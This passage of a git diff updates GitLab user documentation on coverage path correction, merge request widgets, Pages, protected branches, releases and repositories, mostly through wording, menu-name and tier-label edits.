GitLab 13.5. @@ -65,53 +65,65 @@ to draw the visualization on the merge request expires **one week** after creati > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217664) in GitLab 13.8. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284822) in GitLab 13.9. -For the coverage report to properly match the files displayed on a merge request diff, the `filename` of a `class` element -must contain the full path relative to the project root. But in some coverage analysis frameworks, the generated -Cobertura XML has the `filename` path relative to the class package directory instead. +The coverage report properly matches changed files only if the `filename` of a `class` element +contains the full path relative to the project root. However, in some coverage analysis frameworks, +the generated Cobertura XML has the `filename` path relative to the class package directory instead. -To make an intelligent guess on the project root relative `class` path, the Cobertura XML parser attempts to build the -full path by doing the following: +To make an intelligent guess on the project root relative `class` path, the Cobertura XML parser +attempts to build the full path by: -1. Extract a portion of the `source` paths from the `sources` element and combine them with the class `filename` path. -1. Check if the candidate path exists in the project. -1. Use the first candidate that matches as the class full path. +- Extracting a portion of the `source` paths from the `sources` element and combining them with the + class `filename` path. +- Checking if the candidate path exists in the project. +- Using the first candidate that matches as the class full path. -As an example scenario, given the project's full path is `test-org/test-project`, and has the following file tree relative -to the project root: +#### Path correction example -```shell -Auth/User.cs -Lib/Utils/User.cs -src/main/java -``` +As an example, a project with: -In the Cobertura XML, the `filename` attribute in the `class` element assumes the value is a -relative path to project's root. +- A full path of `test-org/test-project`. +- The following files relative to the project root: -```xml -<class name="packet.name" filename="src/main/java" line-rate="0.0" branch-rate="0.0" complexity="5"> -``` + ```shell + Auth/User.cs + Lib/Utils/User.cs + src/main/java + ``` -And the `sources` from Cobertura XML with paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`: +In the: -```xml -<sources> - <source>/builds/test-org/test-project/Auth</source> - <source>/builds/test-org/test-project/Lib/Utils</source> -</sources> -``` +- Cobertura XML, the `filename` attribute in the `class` element assumes the value is a relative + path to the project's root: -The parser extracts `Auth` and `Lib/Utils` from the sources and use these as basis to determine the class path relative to -the project root, combining these extracted sources and the class filename. + ```xml + <class name="packet.name" filename="src/main/java" line-rate="0.0" branch-rate="0.0" complexity="5"> + ``` -If for example there is a `class` element with the `filename` value of `User.cs`, the parser takes the first candidate path -that matches, which is `Auth/User.cs`. +- `sources` from Cobertura XML, the following paths in the format + `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`: -For each `class` element, the parser attempts to look for a match for each extracted `source` path up to `100` iterations. If it reaches this limit without finding a matching path in the file tree, the class will not be included in the final coverage report. + ```xml + <sources> + <source>/builds/test-org/test-project/Auth</source> + <source>/builds/test-org/test-project/Lib/Utils</source> + </sources> + ``` + +The parser: + +- Extracts `Auth` and `Lib/Utils` from the `sources` and uses these to determine the `class` path + relative to the project root. +- Combines these extracted `sources` and the class filename. For example, if there is a `class` + element with the `filename` value of `User.cs`, the parser takes the first candidate path that + matches, which is `Auth/User.cs`. +- For each `class` element, attempts to look for a match for each extracted `source` path up to + 100 iterations. If it reaches this limit without finding a matching path in the file tree, the + class is not included in the final coverage report. NOTE: -The automatic class path correction only works on `source` paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`. If `source` will be ignored if the path does not follow this pattern. The parser assumes that -the `filename` of a `class` element contains the full path relative to the project root. +Automatic class path correction only works on `source` paths in the format `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`. +The `source` is ignored if the path does not follow this pattern. The parser assumes that the +`filename` of a `class` element contains the full path relative to the project root. ## Example test coverage configurations @@ -157,7 +169,7 @@ test-jdk11: coverage-jdk11: # Must be in a stage later than test-jdk11's stage. # The `visualize` stage does not exist by default. - # Please define it first, or chose an existing stage like `deploy`. + # Please define it first, or choose an existing stage like `deploy`. stage: visualize image: registry.gitlab.com/haynes/jacoco2cobertura:1.0.7 script: diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md index cc0be389891..55e122dec76 100644 --- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md +++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md @@ -6,7 +6,7 @@ type: index description: "Test your code and display reports in merge requests" --- -# Tests and reports in merge requests +# Tests and reports in merge requests **(FREE)** GitLab has the ability to test the changes included in a feature branch and display reports or link to useful information directly from merge requests: diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md index 676af4b2881..1d196de36e2 100644 --- a/doc/user/project/merge_requests/versions.md +++ b/doc/user/project/merge_requests/versions.md @@ -64,7 +64,7 @@ In GitLab 12.10, we added a comparison mode, which shows a diff calculated by simulating how it would look like once merged - a more accurate representation of the changes rather than using the base of the two branches. The new mode is available from the comparison target drop down -by selecting **master (HEAD)**. In GitLab 13.9, it +by selecting **main (HEAD)**. In GitLab 13.9, it [replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the old default comparison. For technical details, additional information is available in the [developer documentation](../../../development/diffs.md#merge-request-diffs-against-the-head-of-the-target-branch). diff --git a/doc/user/project/merge_requests/widgets.md b/doc/user/project/merge_requests/widgets.md new file mode 100644 index 00000000000..92b2a8f24ef --- /dev/null +++ b/doc/user/project/merge_requests/widgets.md @@ -0,0 +1,64 @@ +--- +stage: Create +group: Code Review +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: index, reference +--- + +# Merge request widgets **(FREE)** + +The **Overview** page of a merge request displays status updates from services +that perform actions on your merge request. All subscription levels display a +widgets area, but the content of the area depends on your subscription level +and the services you configure for your project. + +## Pipeline information + +If you've set up [GitLab CI/CD](../../../ci/README.md) in your project, +a [merge request](index.md) displays pipeline information in the widgets area +of the **Overview** tab: + +- Both pre-merge and post-merge pipelines, and the environment information, if any. +- Which deployments are in progress. + +If an application is successfully deployed to an +[environment](../../../ci/environments/index.md), the deployed environment and the link to the +[review app](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) are both shown. + +NOTE: +When the pipeline fails in a merge request but it can still be merged, +the **Merge** button is colored red. + +## Post-merge pipeline status + +When a merge request is merged, you can see the post-merge pipeline status of +the branch the merge request was merged into. For example, when a merge request +is merged into the [default branch](../repository/branches/default.md) and then triggers a deployment to the staging +environment. + +Ongoing deployments are shown, and the state (deploying or deployed) +for environments. If it's the first time the branch is deployed, the link +returns a `404` error until done. During the deployment, the stop button is +disabled. If the pipeline fails to deploy, the deployment information is hidden. + + + +For more information, [read about pipelines](../../../ci/pipelines/index.md). + +## Merge when pipeline succeeds (MWPS) + +Set a merge request that looks ready to merge to +[merge automatically when CI pipeline succeeds](merge_when_pipeline_succeeds.md). + +## Live preview with Review Apps + +If you configured [Review Apps](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) for your project, +you can preview the changes submitted to a feature branch through a merge request +on a per-branch basis. You don't need to checkout the branch, install, and preview locally. +All your changes are available to preview by anyone with the Review Apps link. + +With GitLab [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the +merge request widget takes you directly to the pages changed, making it easier and +faster to preview proposed modifications. + +[Read more about Review Apps](../../../ci/review_apps/index.md). diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md index 4b854da116e..8b663b8edf8 100644 --- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md +++ b/doc/user/project/merge_requests/work_in_progress_merge_requests.md @@ -1,5 +1,6 @@ --- redirect_to: 'drafts.md' +remove_date: '2021-05-19' --- This document was moved to [another location](drafts.md). diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md index 2399774c96d..3f7d5b6aac1 100644 --- a/doc/user/project/milestones/index.md +++ b/doc/user/project/milestones/index.md @@ -38,8 +38,8 @@ You can assign **group milestones** to any issue or merge request of any project To view the group milestone list, in a group, go to **{issues}** **Issues > Milestones**. You can also view all milestones you have access to in the dashboard milestones list. -To view both project milestones and group milestones you have access to, select **More > Milestones** -on the top navigation bar. +To view both project milestones and group milestones you have access to, select **Menu > Milestones** +on the top bar. For information about project and group milestones API, see: diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index f7e8d3d140c..55fde63dd47 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -1,5 +1,6 @@ --- redirect_to: '../../ci/README.md' +remove_date: '2021-06-01' --- This document is deprecated. See the latest [GitLab CI/CD documentation](../../ci/README.md). diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md index f02697a3cd5..410fdab15e7 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# DNS records overview +# DNS records overview **(FREE)** _Read this document for a brief overview of DNS records in the scope of GitLab Pages, for beginners in web development._ diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md index 8ed0ef82893..8c77714a2de 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Custom domains and SSL/TLS Certificates +# Custom domains and SSL/TLS certificates **(FREE)** Setting up GitLab Pages with custom domains, and adding SSL/TLS certificates to them, are optional features of GitLab Pages. @@ -114,7 +114,7 @@ without any `/project-name`. ##### For both root and subdomains -There are a few cases where you need point both subdomain and root +There are a few cases where you need to point both the subdomain and root domain to the same website, for instance, `example.com` and `www.example.com`. They require: diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md index 86e34842aaf..f0a922ff390 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md @@ -6,7 +6,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pages integration with Let's Encrypt +# GitLab Pages integration with Let's Encrypt **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28996) in GitLab 12.1. For versions earlier than GitLab 12.1, see the [manual Let's Encrypt instructions](../lets_encrypt_for_gitlab_pages.md). @@ -67,7 +67,7 @@ associated Pages domain. GitLab also renews it automatically. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30146) in GitLab 13.0. -If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, you can try obtaining the certificate again by following these steps: +If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visbility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps: 1. Go to your project's **Settings > Pages**. 1. Click **Edit** on your domain. diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md index f79c60a933a..48412f48c12 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SSL/TLS Certificates +# SSL/TLS certificates **(FREE)** _Read this document for a brief overview of SSL/TLS certificates in the scope of GitLab Pages, for beginners in web development._ diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md index 30dd337d9d8..4f2b62beab1 100644 --- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md +++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create a Pages website by using a CI/CD template +# Create a Pages website by using a CI/CD template **(FREE)** GitLab provides `.gitlab-ci.yml` templates for the most popular Static Site Generators (SSGs). You can create your own `.gitlab-ci.yml` file from one of these templates, and run @@ -17,7 +17,7 @@ Your GitLab repository should contain files specific to an SSG, or plain HTML. After you complete these steps, you may need to do additional configuration for the Pages site to generate properly. -1. In the left sidebar, click **Project overview**. +1. On the left sidebar, select **Project information**. 1. Click **Set up CI/CD**.  diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md index d9ec2aae2b7..386ed566225 100644 --- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md +++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create a Pages website from a forked sample +# Create a Pages website from a forked sample **(FREE)** GitLab provides [sample projects for the most popular Static Site Generators (SSG)](https://gitlab.com/pages). You can fork one of the sample projects and run the CI/CD pipeline to generate a Pages website. diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md index 8368b38bc80..9f80e2e7613 100644 --- a/doc/user/project/pages/getting_started/pages_from_scratch.md +++ b/doc/user/project/pages/getting_started/pages_from_scratch.md @@ -4,7 +4,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create a GitLab Pages website from scratch +# Create a GitLab Pages website from scratch **(FREE)** This tutorial shows you how to create a Pages site from scratch. You start with a blank project and create your own CI file, which gives instruction to diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md index 36371573fd9..f52f64626ac 100644 --- a/doc/user/project/pages/getting_started/pages_new_project_template.md +++ b/doc/user/project/pages/getting_started/pages_new_project_template.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create a Pages website from a template +# Create a Pages website from a template **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47857) in GitLab 11.8. @@ -26,7 +26,6 @@ configured to generate a Pages site. and click **Run pipeline** to trigger GitLab CI/CD to build and deploy your site. -The site can take approximately 30 minutes to deploy. When the pipeline is finished, go to **Settings > Pages** to find the link to your Pages website. diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md index 9eb80e3287c..32826346eab 100644 --- a/doc/user/project/pages/getting_started_part_one.md +++ b/doc/user/project/pages/getting_started_part_one.md @@ -4,7 +4,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pages domain names, URLs, and base URLs +# GitLab Pages domain names, URLs, and base URLs **(FREE)** On this document, learn how to name your project for GitLab Pages according to your intended website's URL. diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index 2ff91292b1b..1f5e1a6ab45 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pages +# GitLab Pages **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/80) in GitLab Enterprise Edition 8.3. > - Custom CNAMEs with TLS support were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/173) in GitLab Enterprise Edition 8.5. diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index 18acb360f5a..4d6a8653657 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -4,7 +4,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Exploring GitLab Pages +# Exploring GitLab Pages **(FREE)** This document is a user guide to explore the options and settings GitLab Pages offers. @@ -324,4 +324,4 @@ pages: - public ``` -The `FF_USE_FASTZIP` variable enables the [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) which is needed for [`ARTIFACT_COMPRESSION_LEVEL`](../../../ci/runners/README.md#artifact-and-cache-settings). +The `FF_USE_FASTZIP` variable enables the [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) which is needed for [`ARTIFACT_COMPRESSION_LEVEL`](../../../ci/runners/configure_runners.md#artifact-and-cache-settings). diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md index b5932fc8766..ce49699785e 100644 --- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md +++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)." --- -# Let's Encrypt for GitLab Pages (manual process, deprecated) +# Let's Encrypt for GitLab Pages (manual process, deprecated) **(FREE)** WARNING: This method is still valid but was **deprecated** in favor of the diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md index 2e0fc87b3df..532a36b2327 100644 --- a/doc/user/project/pages/pages_access_control.md +++ b/doc/user/project/pages/pages_access_control.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pages Access Control +# GitLab Pages access control **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33422) in GitLab 11.5. > - Available on GitLab.com in GitLab 12.4. diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md index 8c189614102..8ed6f214605 100644 --- a/doc/user/project/pages/redirects.md +++ b/doc/user/project/pages/redirects.md @@ -4,7 +4,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Create redirects for GitLab Pages +# Create redirects for GitLab Pages **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/24) in GitLab Pages 1.25.0 and GitLab 13.4 behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/367) in GitLab 13.5. diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index 673a756f18d..4b77236f808 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -36,7 +36,7 @@ The default branch protection level is set in the [Admin Area](../admin_area/set Prerequisite: -- You must have at least maintainer permissions. +- You must have at least the [Maintainer role](../permissions.md). To protect a branch: @@ -163,7 +163,7 @@ To create a new branch through the user interface: ## Delete a protected branch From time to time, you may need to delete or clean up protected branches. -User with [Maintainer permissions](../permissions.md) and greater can manually delete protected +User with the [Maintainer role](../permissions.md) and greater can manually delete protected branches by using the GitLab web interface: 1. Go to **Repository > Branches**. @@ -179,24 +179,22 @@ command line or a Git client application. ## Allow force push on protected branches > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10 behind a disabled feature flag. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-allow-force-push-on-protected-branches). +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323431) in GitLab 14.0. WARNING: This feature might not be available to you. Check the **version history** note above for details. -You can allow force pushes to protected branches by either setting **Allow force push** +You can allow [force pushes](../../topics/git/git_rebase.md#force-push) to +protected branches by either setting **Allowed to force push** when you protect a new branch, or by configuring an already-protected branch. To protect a new branch and enable Force push: 1. Navigate to your project's **Settings > Repository**. 1. Expand **Protected branches**, and scroll to **Protect a branch**. -  1. Select a **Branch** or wildcard you'd like to protect. 1. Select the user levels **Allowed to merge** and **Allowed to push**. -1. To allow all users with push access to force push, toggle the **Allow force push** slider. +1. To allow all users with push access to force push, toggle the **Allowed to force push** slider. 1. To reject code pushes that change files listed in the `CODEOWNERS` file, toggle **Require approval from code owners**. 1. Click **Protect**. @@ -205,8 +203,7 @@ To enable force pushes on branches already protected: 1. Navigate to your project's **Settings > Repository**. 1. Expand **Protected branches** and scroll to **Protected branch**. -  -1. Toggle the **Allow force push** slider for the chosen branch. +1. Toggle the **Allowed to force push** slider for the chosen branch. When enabled, members who are allowed to push to this branch can also force push. @@ -226,15 +223,11 @@ To protect a new branch and enable Code Owner's approval: 1. Scroll down to **Protect a branch**, select a **Branch** or wildcard you'd like to protect, select who's **Allowed to merge** and **Allowed to push**, and toggle the **Require approval from code owners** slider. 1. Click **Protect**. - - To enable Code Owner's approval to branches already protected: 1. Navigate to your project's **Settings > Repository** and expand **Protected branches**. 1. Scroll down to **Protected branch** and toggle the **Code owner approval** slider for the chosen branch. - - When enabled, all merge requests targeting these branches require approval by a Code Owner per matched rule before they can be merged. Additionally, direct pushes to the protected branch are denied if a rule is matched. @@ -249,25 +242,6 @@ run CI/CD pipelines and execute actions on jobs that are related to those branch See [Security on protected branches](../../ci/pipelines/index.md#pipeline-security-on-protected-branches) for details about the pipelines security model. -## Enable or disable allow force push on protected branches **(FREE SELF)** - -Allow force push on protected branches is ready for -production use. It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. - -To enable it: - -```ruby -Feature.enable(:allow_force_push_to_protected_branches) -``` - -To disable it: - -```ruby -Feature.disable(:allow_force_push_to_protected_branches) -``` - ## Changelog - **13.5**: [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769). diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md index 260f355349d..17a9cd5c8c6 100644 --- a/doc/user/project/protected_tags.md +++ b/doc/user/project/protected_tags.md @@ -21,7 +21,7 @@ anyone without Maintainer [permissions](../permissions.md) is prevented from cre ## Configuring protected tags -To protect a tag, you need to have at least Maintainer [permissions](../permissions.md). +To protect a tag, you need to have at least the [Maintainer role](../permissions.md). 1. Go to the project's **Settings > Repository**. diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index e1815785fb5..45cb5e74d6c 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -111,7 +111,6 @@ threads. Some quick actions might not be available to all subscription tiers. | `/unlock` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Unlock the discussions. | | `/unsubscribe` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Unsubscribe from notifications. | | `/weight <value>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set weight. Valid options for `<value>` include `0`, `1`, `2`, and so on. | -| `/wip` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Toggle the draft status. | | `/zoom <Zoom URL>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add Zoom meeting to this issue ([introduced in GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16609)). | ## Commit messages diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 1ea21b1f269..71cbff9e545 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -33,7 +33,7 @@ and attach [release assets](#release-assets), like runbooks or packages. To view a list of releases: -- Go to **Project overview > Releases**, or +- On the left sidebar, select **Deployments > Releases**, or - On the project's overview page, if at least one release exists, click the number of releases. @@ -64,8 +64,7 @@ Read more about [Release permissions](../../../user/permissions.md#project-membe To create a new release through the GitLab UI: -1. Navigate to **Project overview > Releases** and click the **New release** - button. +1. On the left sidebar, select **Deployments > Releases** and select **New release**. 1. Open the [**Tag name**](#tag-name) dropdown. Select an existing tag or type in a new tag name. Selecting an existing tag that is already associated with a release will result in a validation error. @@ -105,7 +104,7 @@ Read more about [Release permissions](../../../user/permissions.md#project-membe To edit the details of a release: -1. Navigate to **Project overview > Releases**. +1. On the left sidebar, select **Deployments > Releases**. 1. In the top-right corner of the release you want to modify, click **Edit this release** (the pencil icon). 1. On the **Edit Release** page, change the release's details. 1. Click **Save changes**. @@ -151,12 +150,12 @@ the [Releases API](../../../api/releases/index.md#create-a-release). In the user interface, to associate milestones to a release: -1. Navigate to **Project overview > Releases**. +1. On the left sidebar, select **Deployments > Releases**. 1. In the top-right corner of the release you want to modify, click **Edit this release** (the pencil icon). 1. From the **Milestones** list, select each milestone you want to associate. You can select multiple milestones. 1. Click **Save changes**. -On the **Project overview > Releases** page, the **Milestone** is listed in the top +On the **Deployments > Releases** page, the **Milestone** is listed in the top section, along with statistics about the issues in the milestones.  @@ -176,7 +175,7 @@ You can be notified by email when a new release is created for your project. To subscribe to notifications for releases: -1. Navigate to **Project overview**. +1. On the left sidebar, select **Project information**. 1. Click **Notification setting** (the bell icon). 1. In the list, click **Custom**. 1. Select the **New release** check box. @@ -209,8 +208,8 @@ deploy_to_production: To set a deploy freeze window in the UI, complete these steps: -1. Sign in to GitLab as a user with project Maintainer [permissions](../../permissions.md). -1. Navigate to **Project overview**. +1. Sign in to GitLab as a user with the [Maintainer role](../../permissions.md). +1. On the left sidebar, select **Project information**. 1. In the left navigation menu, navigate to **Settings > CI/CD**. 1. Scroll to **Deploy freezes**. 1. Click **Expand** to see the deploy freeze table. diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md index deacf119d38..6c2469ac377 100644 --- a/doc/user/project/repository/branches/default.md +++ b/doc/user/project/repository/branches/default.md @@ -65,7 +65,8 @@ GitLab [administrators](../../../permissions.md) of self-managed instances can customize the initial branch for projects hosted on that instance. Individual groups and subgroups can override this instance-wide setting for their projects. -1. Go to **Admin Area > Settings > Repository**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Repository**. 1. Expand **Default initial branch name**. 1. Change the default initial branch to a custom name of your choice. 1. Select **Save changes**. diff --git a/doc/user/project/repository/img/download_source_code.png b/doc/user/project/repository/img/download_source_code.png Binary files differdeleted file mode 100644 index 8d62d19b291..00000000000 --- a/doc/user/project/repository/img/download_source_code.png +++ /dev/null diff --git a/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png b/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png Binary files differdeleted file mode 100644 index 04a8f38871b..00000000000 --- a/doc/user/project/repository/img/file_ext_icons_repo_v12_10.png +++ /dev/null diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index ed5bcc1f85a..7919850b8cc 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -8,75 +8,142 @@ type: concepts, howto # Repository **(FREE)** A [repository](https://git-scm.com/book/en/v2/Git-Basics-Getting-a-Git-Repository) -is what you use to store your codebase in GitLab and change it with version control. -A repository is part of a [project](../index.md), which has a lot of other features. +is where you store your code and make changes to it. Your changes are tracked with version control. + +Each [project](../index.md) contains a repository. ## Create a repository -To create a new repository, all you need to do is -[create a new project](../../../user/project/working_with_projects.md#create-a-project) or -[fork an existing project](forking_workflow.md). +To create a repository, you can: + +- [Create a project](../../../user/project/working_with_projects.md#create-a-project) or +- [Fork an existing project](forking_workflow.md). + +## Add files to a repository + +You can add files to a repository: + +- When you create a project. +- After you create a project: + - By using [the web editor](web_editor.md). + - [From the command line](../../../gitlab-basics/command-line-commands.md). + +## Commit changes to a repository + +You can [commit your changes](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository), +to a branch in the repository. When you use the command line, you can commit multiple times before you push. + +- **Commit message:** + A commit message identities what is being changed and why. + In GitLab, you can add keywords to the commit + message to perform one of the following actions: + - **Trigger a GitLab CI/CD pipeline:** + If the project is configured with [GitLab CI/CD](../../../ci/README.md), + you trigger a pipeline per push, not per commit. + - **Skip pipelines:** + Add the [`ci skip`](../../../ci/yaml/README.md#skip-pipeline) keyword to + your commit message to make GitLab CI/CD skip the pipeline. + - **Cross-link issues and merge requests:** + Use [cross-linking](../issues/crosslinking_issues.md#from-commit-messages) + to keep track of related parts of your workflow. + If you mention an issue or a merge request in a commit message, they are displayed + on their respective thread. +- **Cherry-pick a commit:** + In GitLab, you can + [cherry-pick a commit](../merge_requests/cherry_pick_changes.md#cherry-picking-a-commit) + from the UI. +- **Revert a commit:** + [Revert a commit](../merge_requests/revert_changes.md#reverting-a-commit) + from the UI to a selected branch. +- **Sign a commit:** + Use GPG to [sign your commits](gpg_signed_commits/index.md). + +## Clone a repository + +You can [clone a repository by using the command line](../../../gitlab-basics/start-using-git.md#clone-a-repository). + +Alternatively, you can clone directly into a code editor. + +### Clone and open in Apple Xcode + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45820) in GitLab 11.0. + +Projects that contain a `.xcodeproj` or `.xcworkspace` directory can be cloned +into Xcode on macOS. + +1. From the 